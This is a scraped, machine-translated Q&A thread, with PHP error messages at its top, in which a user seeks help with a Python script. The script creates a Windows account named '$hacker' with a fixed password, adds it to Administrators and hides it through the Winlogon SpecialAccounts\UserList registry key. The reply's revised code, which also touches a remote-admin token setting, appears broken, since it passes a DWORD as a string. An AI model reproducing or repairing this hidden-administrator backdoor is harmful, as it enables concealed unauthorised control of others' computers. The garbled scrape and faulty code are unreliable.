Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/358.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
用Python创建新的DWORD_Python_Dword_Winreg - Fatal编程技术网

用Python创建新的DWORD

用Python创建新的DWORD,python,dword,winreg,Python,Dword,Winreg,大家好,我试着教自己比我的大学更多的python,我试着在我曾经创建的bash文件中创建python文件。 bash文件应该在“netusers”上打开一个名为$hacker的新用户,然后将其隐藏在注册表中。 尝试效果很好,当一切都完成时,我得到了我要求的所有打印结果,但由于某些原因,DWORD没有创建(还有两个键) 希望有人知道我做错了什么 import os import sys import winreg as w os.system("net users $hacker

大家好,我试着教自己比我的大学更多的python,我试着在我曾经创建的bash文件中创建python文件。 bash文件应该在“netusers”上打开一个名为$hacker的新用户,然后将其隐藏在注册表中。 尝试效果很好,当一切都完成时,我得到了我要求的所有打印结果,但由于某些原因,DWORD没有创建(还有两个键) 希望有人知道我做错了什么

import os 
import sys 
import winreg as w

os.system("net users $hacker Aa123456 /add")
os.system("net groups Administrators $hacker /add")

try:
    key = w.CreateKey(w.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\SpecialAccounts\\UserList")
    print("/SpecialAccount/UserList Was succesfully created !")
    w.SetValueEx(key,'$hacker',0,w.REG_DWORD, 0)
    print("DWORD was succesfully created !")
except:
    print("Sorry there was a problem finishing the changes.")
    print("Please try again.")
    quit()

试试下面

import winreg as wreg

try:
    key = wreg.CreateKey(wreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\SpecialAccounts\\UserList")
    wreg.SetValue(key, 'NewSubkey', wreg.REG_SZ, 'LocalAccountTokenFilterPolicy')
    wreg.SetValueEx(key, 'ValueName', 0, wreg.REG_DWORD, '0x00000001')
    key.Close()
    print("DWORD was succesfully created !")
except:
    print("Sorry there was a problem finishing the changes.")
    print("Please try again.")
    quit() 

我刚刚编辑了这篇文章,这样它就可以保存完整的脚本。只需将0更改为“0x00000001”就可以使该脚本正常工作。这不起作用=[HI@danielravehits仅显示0到0x00000001的更改,这取决于您使用的windows版本,在windows 10中,您尝试的路径不可用(SpecialAccounts)路径在windows 10中不存在,我没有在windows 7上尝试过,你必须检查路径是否确实存在。默认情况下不存在,这就是为什么我先创建它,然后才尝试在其中创建值的原因